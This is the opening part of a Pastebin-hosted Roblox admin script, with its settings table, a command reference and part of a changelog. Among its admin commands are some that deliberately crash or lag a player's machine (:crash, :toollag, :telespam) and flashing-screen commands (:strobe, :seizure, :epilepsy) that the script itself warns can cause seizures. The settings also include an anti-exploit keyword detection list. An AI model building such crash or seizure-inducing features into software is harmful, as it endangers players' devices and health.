Advertisement
Mitko1223tm

official admin test 7

Mar 25th, 2018
816
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 323.24 KB | None | 0 0
  1. ---------------------
  2. local set={} --Main Script Table (Don't Touch)
  3. ---------------------
  4. -- IMPORTANT --
  5. ---------------------
  6. --[[ATTENTION: IF YOU ARE USING THIS IN A PERSONAL SERVER SET THE PERSONALSERVER
  7. SETTING TO TRUE!--]]
  8. set['PersonalServer'] = true -- Set this to true if you are using a personal server.
  9. set['FilteringEnabled'] = false -- Set to true if FilteringEnabled is set to true (NO GUIS). (If you do not know what that is then do not touch this)
  10. --[[
  11. ------------------------------------------------------------------------
  12. IF THERE ARE NEW SETTINGS YOU WILL NEED TO MANUALLY UPDATE THE SCRIPT TO
  13. CHANGE THEM, THEY WILL OTHERWISE BE LEFT AS THE DEFAULT.
  14. ------------------------------------------------------------------------
  15. Please carefully read each setting's description BEFORE changing something
  16. as you could break something if you set something the wrong way.
  17. ------------------------------------------------------------------------
  18. ~PancakeAttacks~
  19. --]]
  20. ---------------------
  21. -- Tables
  22. ---------------------
  23. set['Owners'] = {"Mitko1223tm"} -- Are able to set Admins who can ban/etc... using :pa name
  24. set['Admins'] = {""} -- Sets Admins who can use ban/kick/admin or shutdown
  25. set['TempAdmins'] = {} -- Sets Admins who can't use ban/kick/admin or shutdown
  26. set['BanList'] = {'Test_User123=1235674'} -- Add people to ban here. Format to use UserId is "Name=UserId" EX: "John32=192845", this bans any player named John32 or has an id of 192845 (This way they can't bypass the ban by changing their username) use $group=GROUPID to ban groups.
  27. set['MuteList'] = {} -- Add the names of people to mute (makes it so they cant talk)
  28. ----------------------
  29. -- Basic Settings --
  30. ----------------------
  31. set['prefix'] = ":" -- This comes before each admin command (:kill pancake)
  32. set['anyprefix'] = "!" -- This comes before each player command (commands that can be run by anyone, !rejoin, !ping, etc)
  33. set['sprefix'] = "" -- Prefix to use with special functions (!admin,!nonadmins,!all,!others,!random) By default this is now set to nothing to avoid confusion.
  34. set['AutoUpdate'] = true -- Automatically get the newest version? You need to have the model in your inventory on your profile in order for autoupdate to work.
  35. set['FunCommands'] = true -- Set to false if you only want the basic commands (For Strict Places)
  36. set['NilScript'] = true -- Nil the script?
  37. set['NoTalk'] = true -- Enable notalk cmds (Good for group trainings)?
  38. set['HelpSystem'] = true -- Enable the Help System? (!help command)
  39. set['ChatLog'] = true -- Log all chats for the server?
  40. set['MaxNumberOfLogs'] = 1000 -- How many logs to display at a time (MAX is 1500 to avoid server lag/other issues)
  41. set['JoinMessage'] = false -- Display a message with player info when a player joins, set group id in group settings if you want it to display if a player is in a group or not and if so what rank they are.
  42. set['DonorStuff'] = false
  43. set['PermBanKey'] = '0.49971007415998' -- Key (Random String) to use in persistent perm ban (change if you perm banned someone by accident, make it 100% random, if you want a random key generator, put print(math.random()) into the command bar in studio and hit enter, then just copy what it gives you in the output window)
  44. set['FreeAdmin'] = false -- Set to true if you want everyone to get the set type of admin (not recommended)
  45. set['FreeAdminType'] = 'TempAdmin' -- Type of admin for FreeAdmin (TempAdmin/Admin/Owner)
  46. set['AutoClean'] = false -- AutoClean the server? (!clean)
  47. set['AutoCleanDelay'] = 60 -- How long to wait between AutoCleans (in seconds)
  48. set['PlayerCommands'] = true -- Sets whether or not nonadmins can use player commands (!rejoin,!ping,!cmds,etc)
  49. set['OwnersAreTrueOwners'] = true -- This indicates whether or not Owners are considered True Owners, if set to true Owners get the same commands as the place owner (permban and other true owner cmds)
  50. set['PMUsableByAnyone'] = false -- Set this to true if you want it so anyone can use the PM command
  51. set['SyncedBanList'] = true -- Don't Touch Breaks Game!!!
  52. set['SBLSetId'] = 1307282
  53. set['SBLWait'] = 5
  54. ---------------------
  55. -- Anti-Exploit --
  56. ---------------------
  57. set['AntiExploit'] = true -- Prevents non-admins from running code/commands via chat, stops a large number of other things including selection changed (finds if a user is using studio)
  58. set['AntiRobloxLocked'] = true -- Disconnects any player who is or becomes RobloxLocked. (Recommended you keem this enabled, if a player joins RobloxLocked they will not be hooked by the script, this removes them before they break something.)
  59. set['AntiNewAccount'] = false -- Prevents accounts under the set age from joining.
  60. set['MinimumAge'] = 100 -- Age a player must be above (in days) if AntiNewAge is enabled.
  61. set['AntiSpeed'] = false -- Trys to stop speed hackers
  62. set['AntiGui'] = false -- Prevents non-game/pancake's guis from being spawned on players, such as the account stealing gui.
  63. set['AntiNil'] = true -- Crashes anyone who goes "nil"
  64. set['AntiNoclip'] = false -- (USELESS AGAINST CURRENT NOCLIP EXPLOIT however can stop script based noclipping and will update when a usable antiexploit method is found.) Attempts to stop noclipping, not 100% but is better then nothing, can be buggy.
  65. set['AntiAnimation'] = false -- Prevents animation exploit
  66. set['AntiExploitWordList'] = {'getitem[^%s]','workspace%.[^%s^%.]','[^%s^%w]ban [%w]','ban[^%s^%w][%w]','crash[^%s^%w][%w]','[^%s^%w]crash [%w]','[^%s^%w]kick [%w]','kick[^%s^%w][%w]','SetCoreGuiEnabled','GetObjects','GetChildren','children()','in pairs(','script%.Parent','game%.Workspace','game:service','GetService','game%.Debris','game%.Lighting','game%.Players','loadstring(','InsertService','LoadAsset','FindFirstChild','while (.*) do','Instance.new'}
  67. -- Removes a player if any of these are spoken. For more information about string patterns go to http://wiki.roblox.com/index.php?title=String_pattern
  68. set['AllowedGuiList'] = {} --If there is a gui in your game that is not in startergui
  69. --then add its name to this table, do note that if the
  70. --name of the gui is just ScreenGui or something like
  71. --that, if a hacker inserts a gui with the same name
  72. --it will not be removed, so make sure you make the name
  73. --of the gui very specific.
  74. ---------------------
  75. -- Group Settings --
  76. ---------------------
  77. set['GroupAdmin'] = false -- If a certain group can have admin
  78. set['GroupOnlyJoin'] = false -- Makes it so ONLY people in the set group can join the game.
  79. set['GroupId'] = 0 -- Id of group, used for group admin and info/join message, if set will display a user's rank when the info command is used on them.
  80. set['RankType'] = "Specific" -- Specific/NonSpecific, sets how to check ranks, NonSpecific uses the old kohls method for checking ranks (rank+) Specific checks the SpecificRanks table for if a player has the rank.
  81. set['SpecificRanks'] = {}-- Add what ranks have admin to this table. EX: set['SpecificRanks'] = {"RANKNAME=Owner/Admin/TempAdmin/Banned","Generals=Admin","Intern Director=TempAdmin"} (NOTE THAT RANK NAMES CONTAINING = ARE NOT SUPPORTED, USE ITS RANK NUMBER INSTEAD!
  82. set['NonSpecificRank'] = 0 --(Old Kohls Method) Set rank here if RankType="NonSpecific", needs to be rank number NOT NAME, otherwise add ranks to have admin into the SpecificRanks table.
  83. set['NonSpecificRankType'] = 'TempAdmin'
  84. ---------------------
  85. -- VIP Admin --
  86. ---------------------
  87. set['VipAdmin'] = false -- If someone can have admin for owning an item
  88. set['ItemId'] = 0 -- The item they must own in order to have admin
  89. set['ItemType'] = 'GamePass' -- type of item. (GamePass/Badge)
  90. set['FriendAdmin'] = false -- Set to true if you want people on your friendlist to have admin
  91. ---------------------
  92. -- GUI Settings --
  93. ---------------------
  94. set['PrimaryColor'] = Color3.new(0,0,0)
  95. set['SecondaryColor'] = Color3.new(1,1,1)
  96. set['TextColor'] = Color3.new(1,1,1)
  97. set['TextStrokeColor'] = Color3.new(0,0,0)
  98. set['Transparency'] = 0.5
  99. ---------------------
  100. -- Extra --
  101. ---------------------
  102. set['MusicList'] = {{Name='SadPiano',Id=130798493}} -- Add music to this table using the format: {Name='ExampleSong',Id=1234567} so that the table would look like local MusicList={{Name='ExampleSong',Id=1234567};{Name='ExampleSong2',Id=1234568}}, if you want to add pitch/volume simply insert Pitch and Volume EX: {Name='ExampleSong2',Id=1234568,Pitch=2,Volume=0.5}
  103. ---------------------
  104. -- Tips and Tricks --
  105. ---------------------
  106. --[[
  107. With this admin you can do a command on multiple people at a time;
  108. :kill me,noob1,noob2,!random,%raiders,$123456,!nonadmins
  109. -- kills you, noob1, noob2, a random person, team raiders, people in group 123456, and nonadmins.
  110. You can also run silent commands using /e, for example:
  111. "/e :kill pancake" Do not that this will still show up in logs.
  112.  
  113. You can also use a variety commands for different people;
  114. !all --everyone in the server
  115. !others --like !all but not you
  116. me --you
  117. %TEAMNAME --Ex: :kill %raiders will kill everyone in team Raiders.
  118. $GROUPID -- Let you kill anyone in a specific group, if an id is not given it will use the GroupId setting.
  119. !admins --admins in the server
  120. !nonadmins --people who are not admins in the server
  121. !random --a random person, this can include you.
  122.  
  123. If you want to add cameras to your game (like saved into your game so you don't need to use the admin script to spawn them every new server)
  124. then just make a camera, needs to be a single part, so a sphere, brick, what ever it may be, make sure its anchored and locked
  125. just simply position it where you want in workspace, then make its name Camera: NAMEHERE
  126. so for example: Camera: Cam1
  127. the name is very important as the script will look for it in workspace when the game starts.
  128. make sure you name each camera something diffierent.
  129.  
  130. MESSAGES/HINTS FOR OTHER SCRIPTS:
  131. If you would like to have the hints/messages from this script usable in other SERVER (not local)
  132. scripts, then simply put the follow at the top of your script,
  133.  
  134. message=_G['Message']
  135. hint=_G['Hint']
  136.  
  137. USAGE EXAMPLES:
  138. hint(msg,playerstable) - message(title,msg,playerstable)
  139.  
  140. (Do note that playerstable needs to be a table containing players.
  141. Use game.Players:children() to send a message ot everyone.)
  142.  
  143. hint('Hello people',game.Players:children()) <=== sends "Hello people" to all people in game
  144. hint('Heyo montano',{game.Players.montano60}) <=== Sends "Heyo montano" to montano60
  145. message('Server Message','Hello people',game.Players:children())
  146. message('Message from swagyguy','Heyo montano',{game.Players.montano60})
  147. --]]
  148. ---------------------
  149. -- Commands --
  150. ---------------------
  151. --[[
  152. -- |Temp Admin Commands| --
  153. 0. clean -- Is a command anyone can use to remove hats/tools/roblox messages/roblox hints lagging up the place
  154. 1. :puke pancake -- Make a player puke, will make players they puke on also puke
  155. 2. :cut pancake -- Cut a player :3 (bleed)
  156. 3. :map -- Puts you above the game and allows you to teleport to areas of the map by clicking (x to stop, e up, q down, normal walking controls)
  157. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  158. 5. :kill pancake -- Kills the player
  159. 6. :respawn pancake -- Respawns the player
  160. 7. :trip pancake -- Trips the player
  161. 8. :stun pancake -- Stuns the player
  162. 9. :unstun pancake -- Unstuns the player
  163. 10. :jump pancake -- Makes the player jump
  164. 11. :sit pancake -- Makes the player sit
  165. 12. :invisible pancake -- Makes the player invisible
  166. 13. :visible pancake -- Makes the player visible
  167. 14. :explode pancake -- Makes the player explode
  168. 15. :fire pancake -- Sets the player on fire
  169. 16. :unfire pancake -- Removes fire from the player
  170. 17. :smoke pancake -- Adds smoke to the player
  171. 18. :unsmoke pancake -- Removes smoke from the player
  172. 19. :sparkles pancake -- Adds sparkles to the player
  173. 20. :unsparkles pancake -- Removes sparkles from the player
  174. 21. :ff pancake -- Adds a forcefield to the player
  175. 22. :unff pancake -- Removes the forcefield from the player
  176. 23. :punish pancake -- Punishes the player
  177. 24. :unpunish pancake -- Unpunishes the player
  178. 25. :freeze pancake -- Freezes the player
  179. 26. :thaw pancake -- Thaws the player
  180. 27. :heal pancake -- Heals the player
  181. 28. :god pancake -- Makes the player have infinite health
  182. 29. :ungod pancake -- Makes the player have 100 health
  183. 30. :ambient .5 .5 .5 -- Changes the ambient
  184. 31. :brightness .5 -- Changes the brightness
  185. 32. :time 12 -- Changes the time
  186. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  187. 34. :fogend 100 -- Changes the fogend
  188. 35. :fogstart 100 -- Changes the fogstart
  189. 36. :removetools pancake -- Removes all tools from the player
  190. 37. :btools pancake -- Gives the player building tools
  191. 38. :give pancake sword -- Gives the player a tool
  192. 39. :damage pancake -- Damages the player
  193. 40. :grav pancake -- Sets the player's gravity to normal
  194. 41. :setgrav pancake 100 -- Sets the player's gravity
  195. 42. :nograv pancake -- Makes the player have 0 gravity
  196. 43. :health pancake 1337 -- Changes the player's health
  197. 44. :speed pancake 1337 -- Changes the player's walkspeed
  198. 45. :name pancake potato -- Changes the player's name
  199. 46. :unname pancake -- Remove the player's name
  200. 47. :team pancake Raiders -- Changes the player's team
  201. 48. :stopmusic -- Will stop all music playing in the server
  202. 49. :teleport pancake potato -- Teleports the player
  203. 50. :change pancake kills 1337 -- Changes a player's stat
  204. 51. :syncedbanlist -- Displays the names of people in the syncedbanlist database
  205. 52. :infect pancake -- Turns the player into a zombie
  206. 53. :rainbowify pancake -- Turns the player into a rainbow
  207. 54. :flashify pancake -- Turns the player into a strobe
  208. 55. :noobify pancake -- Turns the player into a noob
  209. 56. :ghostify pancake -- Turns the player into a ghost
  210. 57. :goldify pancake -- Turns the player into gold
  211. 58. :shiny pancake -- Makes the player shiny
  212. 59. :normal pancake -- Puts the player back to normal
  213. 60. :trippy pancake -- Spams random colors on the player's screen
  214. 61. :untrippy pancake -- Untrippys the player
  215. 62. :strobe pancake -- Spams white and black on the player's screen
  216. 63. :unstrobe pancake -- Unstrobes the player
  217. 64. :blind pancake -- Blinds the player
  218. 65. :unblind pancake -- Unblinds the player
  219. 66. :guifix pancake -- Will fix trippy/strobe/blind on a player
  220. 67. :fling pancake -- Flings the player
  221. 68. :seizure pancake -- Puts the player in a seizure
  222. 69. :music 1337 -- Plays a sound from the ID
  223. 70. :lock pancake -- Locks the player
  224. 71. :unlock pancake -- Unlocks the player
  225. 72. :removelimbs pancake -- Removes the player's limbs
  226. 73. :jail pancake -- Puts the player in a jail
  227. 74. :unjail pancake -- Removes the jail from the player
  228. 75. :fix -- This will fix the lighting to it's original settings
  229. 76. :fly pancake -- Makes the player fly
  230. 77. :unfly pancake -- Removes fly from the player
  231. 78. :flynoclip pancake -- Flying noclip (original pancakes noclip)
  232. 79. :clip pancake -- Removes noclipping from the player
  233. 80. :pm pancake Hey bro -- Sends the player a private message
  234. 81. :dog pancake -- Turns the player into a dog
  235. 82. :undog pancake -- Turns the player back to normal
  236. 83. :creeper pancake -- Turns the player into a creeper
  237. 84. :uncreeper pancake -- Turns the player back to normal
  238. 85. :place pancake 1337 -- Sends a teleporation request to a player to go to a different place
  239. 86. :char pancake 261 -- Will make a player look like a different player ID
  240. 87. :unchar pancake -- Will return the player back to normal
  241. 88. :h Hello People -- This will shout a hint to everyone
  242. 89. :rank pancake 109373 -- Will show up a message with the person's Role and Rank in a group
  243. 90. :starttools pancake -- Will give the player starter tools
  244. 91. :sword pancake -- Will give the player a sword
  245. 92. :bighead pancake -- Will make the player's head larger than normal
  246. 93. :minihead pancake -- Will make the player's head smaller than normal
  247. 94. :insert 1337 -- Will insert a model at the speaker's position
  248. 95. :disco -- Will make the server flash random colors
  249. 96. :flash -- Will make the server flash
  250. 97. :admins -- Shows the admin list
  251. 98. :bans -- Shows the banlist
  252. 99. :musiclist -- Shows the music list
  253. 100. :spin pancake -- Spins the player
  254. 101. :cape pancake Really black -- Gives the player a colored cape
  255. 102. :uncape pancake -- Removes the player's cape
  256. 103. :loopheal pancake -- Will constantly heal the player
  257. 104. :loopfling pancake -- Will constantly fling the player
  258. 105. :hat pancake 1337 -- Will give the player a hat under the id of 1337
  259. 106. :unloopheal pancake -- Will remove the loopheal on the player
  260. 107. :unloopfling pancake -- Will remove the loopfling on the player
  261. 108. :unspin pancake -- Removes spin from the player
  262. 109. :tools -- Gives a list of the tools in the lighting
  263. 110. :undisco -- Removes disco effects
  264. 111. :unflash -- Removes flash effects
  265. 112. :resetstats pancake -- Sets all the stats of a player to 0
  266. 113. :gear pancake 1337 -- Gives a player a gear
  267. 114. :cmdbar -- Gives the speaker a command bar
  268. 115. :shirt pancake 1337 -- Changes the player's shirt
  269. 116. :pants pancake 1337 -- Changes the player's pants
  270. 117. :face pancake 1337 -- Changes the player's face
  271. 118. :swagify pancake -- Swagifies the player
  272. 119. :version -- Shows the current version of the admin
  273. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  274. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  275. 122. :clone pancake -- Creates a clone of the player
  276. 123. :clear -- clears scripts/localscript/cs scripts/jails/etc etc
  277. 124. :startergive pancake epic -- Gives a player a gear in their starterpack
  278. 125. :control pancake -- Controls a player
  279. 126. :stickify pancake -- Turns player into a stick figure
  280. 127. :delimb pancake -- remove player limbs
  281. 128. :notalk pancake -- tells a player not to talk, needs to be set to true in setting
  282. 129. :unnotalk pancake -- undos the notalk stuffz
  283. 130. :chatlog -- Displays the server chatlog with time
  284. 131. :info pancake -- Displays info about the player, if groupid is set will display players rank in the group as well.
  285. 132. :players -- Displays ALL (Yes even the nil ones not on the leaderboard) players thats are currently in the game.
  286. 133. :epilepsy -- Flashes slightly different messages very rapidly while removing the payers humanoid causing them to not be able to respawn, WARNING: This can cause seizures.
  287. 134. :sell pancake itemid tix/robux/default -- prompts the target to buy the item and in selected currency, default will be used if the currency type is not set to t,tix,tickets/r,rb,robux
  288. 135. !donate -- Donate and help further developement :)!
  289. 136. :talk pancake i like ponies -- Makes a dialong bubble pop up over target with message
  290. 137. :rocket pancake -- Rockets a player
  291. 138. :donors -- Shows list of people who donated :3
  292. 139. :makecam cam2 -- Makes a camera at the admin's head's position with given name
  293. 140. :cameras -- Shows list of cameras, allows you to reset view and view cameras
  294. 141. :resetview -- Reset admins camera
  295. 142. :view pancake -- Views a player
  296. 143. :drug pancake -- Drugs a player
  297. 142. :noclip pancake -- Allows player to walk through walls
  298. 143. :dance pancake -- Makes a player dance for 60 seconds
  299. 144. :repeat amount interval command -- repeats command for amount times every interval seconds (repeat 10 1 kill pancake)
  300. 145. !help -- Normal players can use this to get the attention of admins
  301. 146. :oambient num num num -- Sets outdoor ambient
  302. 147. :fog start end -- Sets fog, start is FogStart end is FogEnd
  303. 148. :nofog -- gets rid of fog
  304. 149. :shadowson -- Turns on global shadows
  305. 150. :shadowsoff -- Turns off global shadows
  306. 151. :outlineson -- Turns on outlines
  307. 152. :outlinesoff -- Turns off outlines
  308. 153. :capes -- List of capes
  309. 154. :light pancake -- places a dynamic light on the player, accepts custom colors
  310. 155. :unlight pancake -- removes light from player
  311. 156. !getscript -- prompts you to puchase the script (its free)
  312. 157. !rejoin -- makes you rejoin
  313. 158. !ping -- shows you your ping to the server
  314. 159. :chat -- lets you chat via dialog boxes, good for private talks, anything chatted with it will not show up in chatlogs/the games chat.
  315. 160. :batch cmd1/cmd2/cmd3/etc -- lets you batch run commands. EX: :batch ff pancake/sparkles pancake Bright red/m Potatos (NOTE THIS WILL NOT WORK CORRECTLY IF YOU ISSUE COMMAND CONTAINING /)
  316. 161. :usage -- Shows how some special functions work and gives some useful information
  317. 162. !uncape -- uncapes the user (donors only)
  318. 163. !cape -- Gives user the donor stuff (donors only)
  319. 164. :adminchat -- Chat for admins
  320. 165. :refresh pancake -- Respawns the player and sends them back to where they were when the cmd was ran.
  321. 166. :breakdance pancake -- Makes target player breakdance with lights, fire, sparkles, and smoke, all set to a semi random color :D
  322.  
  323. -- |Admin Commands| --
  324. - :s print("Hello World") -- Lets you script normally
  325. - :ls print("Hello World") -- Lets you script in localscripts
  326. - :cs pancake print("yolo") -- Creates a localscript inside of a player
  327. - :mute pancake -- Removes a player's chat
  328. - :unmute pancake -- Restores a player's chat
  329. - :serverlock -- Locks the server
  330. - :serverunlock -- Unlocks the server
  331. - :sm Hello World -- Creates a system message
  332. - :crash pancake -- Crashes a player
  333. - :admin pancake -- Admins a player
  334. - :unadmin pancake -- Unadmins a player
  335. - :kick pancake -- Disconnects a player from the game [WORKS ON NIL PLAYERS]
  336. - :ban pancake -- Bans a player
  337. - :unban pancake -- Unbans a player
  338. - :loopkill pancake -- Will constantly kill the player
  339. - :unloopkill pancake -- Will remove the loopkill on the player
  340. - :logs -- Will show all of the commands any admin has used in a game session
  341. - :shutdown -- Shutsdown the server
  342. - :lag pancake -- Lags a player
  343. - :ko pancake -- KOs a player for set number of times......?
  344. - :nil pancake -- Makes player nil and turns into a probe
  345. - poff -- Makes nil probe light/chat invisible
  346. - pon -- Makes nil probe light/chat visible
  347. - :pitch -- changes pitch of sounds in workspace (music)
  348. - :mutelist -- lets you see whos muted
  349. - :freefall pancake height -- teleports a player upward by height
  350.  
  351. - :toollag pancake -- Makes a player's FPS drop until they crash, consumes graphics card and ram.
  352. - :telespam pancake -- send a player to a game that teleports them to the same game in a loop while lagging them, lols.
  353. - :note pancake lolhi -- makes a note on pancake that says lolhi
  354. - :removenote pancake lolhi -- removes note lolhi from pancake (does not need to be full note name)
  355. - :notes pancake -- displays notes about pancake (DATA PERSISTENT)
  356.  
  357. -- |Owner Commands| --
  358. - :pa pancake -- Makes someone a super admin
  359. - :unpa pancake -- Removes a super admin
  360. - :nuke pancake -- Creates a nuke on pancake
  361. - :explore -- Explore the game via a gui
  362. - :restoremap -- Restores the map to a backup saved at server start (includes scripts and may break stuff)
  363.  
  364. -- |True Owner Commands| --
  365. - :oa pancake -- Makes someone an owner
  366. - :unoa pancake -- Removes an owner
  367. - :settings -- Shows settings for the commands
  368. - :forceplace -- Force teleports people to a place without confirmation.
  369. - :permban pancaketastrophe -- Perm bans target player from all servers, forever, unless the PermBanKey is changed to something else. Requires FULL NAME AND CONFIRMATION!
  370. - :%updatepancakes% -- Updates the script for that server (may be buggy)
  371. --]]
  372.  
  373. --------------------------------------------------------------------------------------
  374. --------------------------------------------------------------------------------------
  375. ----[ WARNING: Editing anything below could result errors and break the script! ]-----
  376. ---------------[ DO NOT MODIFY UNLESS YOU KNOW WHAT YOU ARE DOING! ]------------------
  377. --------------------------------------------------------------------------------------
  378. --------------------------------------------------------------------------------------
  379. local ThingsToUpdate={
  380. 'Owners',
  381. 'Admins',
  382. 'TempAdmins',
  383. 'BanList',
  384. 'MuteList',
  385. 'AntiExploitWordList',
  386. 'AllowedGuiList',
  387. 'SpecificRanks',
  388. 'MusicList',
  389. 'RankType',
  390. 'NonSpecificRank',
  391. 'prefix',
  392. 'FunCommands',
  393. 'GroupAdmin',
  394. 'GroupId',
  395. 'VipAdmin',
  396. 'FriendAdmin',
  397. 'ItemType',
  398. 'ItemId',
  399. 'SyncedBanList',
  400. 'NilScript',
  401. 'NoTalk',
  402. 'ChatLog',
  403. 'JoinMessage',
  404. 'MaxNumberOfLogs',
  405. 'PermBanKey',
  406. 'SBLSetId',
  407. 'SBLWait',
  408. 'AntiExploit',
  409. 'DonorStuff',
  410. 'AntiGui',
  411. 'AntiAnimation',
  412. 'AnitNewAccount',
  413. 'MinimumAge',
  414. 'GroupOnlyJoin',
  415. 'PrimaryColor',
  416. 'SecondaryColor',
  417. 'TextColor',
  418. 'TextStrokeColor',
  419. 'Transparency',
  420. 'FreeAdmin',
  421. 'FreeAdminType',
  422. 'AntiNil',
  423. 'AntiRobloxLocked',
  424. 'HelpSystem',
  425. 'sprefix',
  426. 'AntiSpeed',
  427. 'anyprefix',
  428. 'AntiNoclip',
  429. 'AutoCleanDelay',
  430. 'AutoClean',
  431. 'PersonalServer',
  432. 'PlayerCommands',
  433. 'OwnersAreTrueOwners',
  434. 'PMUsableByAnyone'
  435. }
  436. --[ Main Script Function ]--
  437. set.RunTheScript=function()
  438. coroutine.wrap(function()
  439. print('Admin: Starting')
  440. changelog={
  441. 'KEY: -Removed +Added *Changed/Fixed !Important';
  442. '----------------------------------------------';
  443. '285:';
  444. '*Bug fixes';
  445. '---------------------------------';
  446. '284:';
  447. '*Bug fixes';
  448. '---------------------------------';
  449. '283:';
  450. '*Bug fixes';
  451. '---------------------------------';
  452. '282:';
  453. '*PM now has a reply. Suggested by kindnesslord';
  454. '---------------------------------';
  455. '281:';
  456. '*Bug fixes';
  457. '*Max Number of Logs has a MAX of 1500 to avoid problems. (will set itself to 1500 if above 1500)';
  458. '---------------------------------';
  459. '280:';
  460. '*Hint stacking (up to 5 on screen at one time)';
  461. '*Bug fixes';
  462. '---------------------------------';
  463. '279:';
  464. '+Added the ability to use Messages/Hints from other scripts';
  465. '!Refer to tips and tricks to learn how to use messages/hints from this in other server scripts';
  466. '---------------------------------';
  467. '278:';
  468. '*Bug fixes';
  469. '---------------------------------';
  470. '277:';
  471. '*/e is filtered by the anti exploit';
  472. '*Silent commands can be done by using /e :kill pancake for example';
  473. '---------------------------------';
  474. '276:';
  475. '*Bug fixes';
  476. '---------------------------------';
  477. '275:';
  478. '*Bug fixes';
  479. '---------------------------------';
  480. '274:';
  481. '+PMUsableByAnyone setting, suggested by GloriedRage';
  482. '+Freefall cmd, suggested by GloriedRage';
  483. '*Bug fixes';
  484. '---------------------------------';
  485. '273:';
  486. '*Updated donor system, anyone who bought the custom cape and change their cape for the game in-game';
  487. '---------------------------------';
  488. '272:';
  489. '+Display error if player does not exist, suggested by GloriedRage';
  490. '---------------------------------';
  491. '271:';
  492. '+OwnersAreTrueOwners setting';
  493. '---------------------------------';
  494. '270:';
  495. '+%updatepan% command for game owners';
  496. '---------------------------------';
  497. '269:';
  498. '*Updated some things with the GetPlayers function';
  499. '---------------------------------';
  500. '268:';
  501. '*Removed flash/disco loadstring dependencies';
  502. '---------------------------------';
  503. '267:';
  504. '*Mutes work like bans';
  505. '+mutelist command';
  506. '---------------------------------';
  507. '266:';
  508. '*Changed how the scrollingframe gets its size, waits for children to be added first, less lag.';
  509. '---------------------------------';
  510. '265:';
  511. '*Updates to the scrollgui';
  512. '+New songs';
  513. '---------------------------------';
  514. '264:';
  515. '*ScrollGuis now use ScrollFrames';
  516. '*Visual bug fixes';
  517. '---------------------------------';
  518. '263:';
  519. '*Bug fixes';
  520. '---------------------------------';
  521. '262:';
  522. '*Sbl list will display what database the banned user is on';
  523. '---------------------------------';
  524. '261:';
  525. '+New songs';
  526. '---------------------------------';
  527. '260:';
  528. '*Speed system updates';
  529. '*Bug fixes';
  530. '*Updates to the group admin system (made it simpler to add specific ranks)';
  531. '---------------------------------';
  532. '259:';
  533. '*Bug fixes';
  534. '---------------------------------';
  535. '258:';
  536. '*Bug fixes';
  537. '+FilteringEnabled setting';
  538. '*FilteringEnabled support (NO GUIS)';
  539. '---------------------------------';
  540. '257:';
  541. '!Major Updates';
  542. '*Bug fixes';
  543. '*Improved update system';
  544. '*Impoved script performance';
  545. '*Improved how settings are stored';
  546. '*Improved security';
  547. '*Improved client-server/server-client connection';
  548. '*Client-server/server-client data is more secure';
  549. '!ALL PLACE OWNERS MUST MANUALLY UPDATE!';
  550. '!I am currently trying to make it work with FilteringEnabled!';
  551. '---------------------------------';
  552. '256:';
  553. '*Donor System updates';
  554. '*Bug fixes';
  555. '---------------------------------';
  556. '255:';
  557. '*Changed pinvisible/pvisible to poff/pon';
  558. '*Updated some stuff with the nil probe/command';
  559. '---------------------------------';
  560. '254:';
  561. '*Bug fixes';
  562. '+restoremap cmd. Restores stuff in workspace to a backup saved aat server start. WILL CLEAR WORKSPACE!';
  563. '---------------------------------';
  564. '253:';
  565. '*Bug fixes';
  566. '+Talk command';
  567. '+Command error reporting (prints the error and shows it to the player running the command)';
  568. '!For security purposes its recommended all place owners manually update to the newest version!';
  569. '---------------------------------';
  570. '252:';
  571. '*Fixed a typo causing the donor list to not work correctly';
  572. '---------------------------------';
  573. '251:';
  574. '*Updates to the music system';
  575. '*Can now specify Pitch and Volume in the MusicList table';
  576. '*Music is no longer case sesitive';
  577. '*Will tell you if an id is invalid (invalid if not audio or not a real id)';
  578. '---------------------------------';
  579. '250:';
  580. '+PlayerCommands setting';
  581. '---------------------------------';
  582. '249:';
  583. '*Bug fixes';
  584. '---------------------------------';
  585. '248:';
  586. '*Main Script Function settings stored in table, prevents 60 upvalues error (hopefully) and makes things more organized';
  587. '+MusicList table, users can now add their own songs to the scripts musiclist, refer to the settings section for more information';
  588. '*Music is now grabbed from a table as per the musiclist update';
  589. '!I have yet to find a bug with this version but because I made settings go inside a table I expect one or two, so if you find one PLEASE REPORT IT TO ME (montano60)!';
  590. '---------------------------------';
  591. '247:';
  592. '*Update to AntiExploit system, making code running work with LoadstringEnabled set to false';
  593. '---------------------------------';
  594. '246:';
  595. '*Updated donor system to use gamepasses (NBC can now make them)';
  596. '*New !donate gui';
  597. '*In-game donating';
  598. '*donors by default get the Donor Cape, must pay for a custom cape';
  599. '!None of this will effect current donors!';
  600. '--------------------------------';
  601. '245:';
  602. '*Various bug fixes';
  603. '*Fixed stuff relating to roblox disabling loadstring by default';
  604. '*Fixed some weird torso related bugs';
  605. '*Fixed rainbowify and flashify';
  606. '*Changelog trimmed for space';
  607. '--------------------------------';
  608. '244:';
  609. '+!quote cmd';
  610. '+Random quote in the output window';
  611. '*:help is now !cmds, and added !commands, both do the same as :commands';
  612. '--------------------------------';
  613. '243:';
  614. '-AntiExploit feature from previous problem, believed to be causing strange bugs.';
  615. '--------------------------------';
  616. '242:';
  617. '+New feature of the AntiExploit will attempt to crash players using an unstable exploit on-spawn';
  618. '--------------------------------';
  619. '241:';
  620. '!ATTENTION: BECAUSE ROBLOX IS MEAN THEY DISABLED SERVERSIDE LOADSTRING!';
  621. '!THIS MEANS NO SERVER RELIANT SCRIPT BASED COMMANDS WILL WORK!';
  622. '!THIS INCLUDES THE SCRIPTING COMMAND, HOWEVER ONLY FOR SERVER SCRIPTS!';
  623. '!LOCALSCRIPTS WILL STILL WORK. I WILL WORK TO FIND A WAY TO FIX THIS!';
  624. "!JUST PLEASE KNOW THIS IS NOT MY FAULT, IT IS ROBLOX'S!";
  625. '!YOU NEED TO MANUALLY ENABLE LOADSTRINGENABLED IN SERVERSCRIPTSTORAGE!';
  626. '-------------------------------';
  627. '240:';
  628. '*PlayerList is now searchable and refreshable (:players)';
  629. '!easier to find the iLiLiLLi type names that look like IlIlIllI in the playerlist :)!';
  630. '-------------------------------';
  631. '239:';
  632. '+PersonalServer setting. SET TO TRUE IF USING IN A PERSONAL SERVER!';
  633. '+AutoClean and AutoCleanDelay settings';
  634. '-------------------------------';
  635. '238:';
  636. '*Bug fixes';
  637. '*Shows list name in donor list';
  638. '-------------------------------';
  639. '237:';
